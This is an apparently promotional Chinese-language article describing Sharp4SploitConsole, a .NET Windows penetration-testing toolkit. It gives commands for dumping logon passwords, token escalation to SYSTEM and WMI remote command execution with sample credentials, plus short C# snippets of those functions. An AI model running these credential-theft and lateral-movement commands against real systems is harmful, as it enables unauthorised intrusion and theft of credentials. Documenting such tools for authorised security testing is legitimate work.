01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4SploitConsole 是一个基于 .NET 开发的功能强大的 Windows 渗透测试工具集。它包含多个模块,能够执行如令牌操作、主机信息收集和横向移动等多种渗透测试任务。
03基本用法
Sharp4SploitConsole 内置提供了多种命令,比如获取用户令牌、主机信息收集、横向移动等。比如获取系统登录用户密码,运行如下命令:
Sharp4SploitConsole.exe getSystem logonPasswords
另外Sharp4SploitConsole 还支持交互式控制台模式,使用户能够以伪交互方式与目标系统进行交互。使用以下命令可以进入交互式模式
Sharp4SploitConsole.exe interact
通过 WMI可以在远程机器上执行命令或启动进程。以下命令展示了如何在远程机器上启动计算器进程。
Sharp4SploitConsole.exe WMI 192.168.101.86 ivan1ee 123456 calc
04功能实现
Sharp4SploitConsole 包含一个获取系统权限(System 权限)的模块。通过命令行输入 Sharp4SploitConsole.exe getSystem logonPasswords。创建 Tokens 对象,并调用 GetSystem() 方法尝试获取系统权限。具体代码如下所示。
private static void getSystem()
{
string text = Program.ER();
Tokens tokens = new Tokens(true);
bool system = tokens.GetSystem();
Console.WriteLine(system);
}
另外还有个强大的 WMI 模块,WMI 允许远程管理和操作 Windows 系统,对于渗透测试人员来说是一个非常有用的工具。以下是实现 WMI 命令的关键代码。
private static void wmi(string[] request)
{
List<string> values = new List<string>();
values = string.Join(" ", request).Split(new char[] { ' ' }).Skip(4).ToList<string>();
string text = string.Join(" ", values);
string ipAddress = request[1];
string username = request[2];
string password = request[3];
WMI.WmiExecuteResult result = WMI.WMIExecute(ipAddress, text, username, password);
}
代码解析命令行参数,提取目标机器的 IP 地址、用户名、密码和要执行的命令,再使用 WMI.WMIExecute 方法在目标机器上执行命令 text,并获取执行结果。
05.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。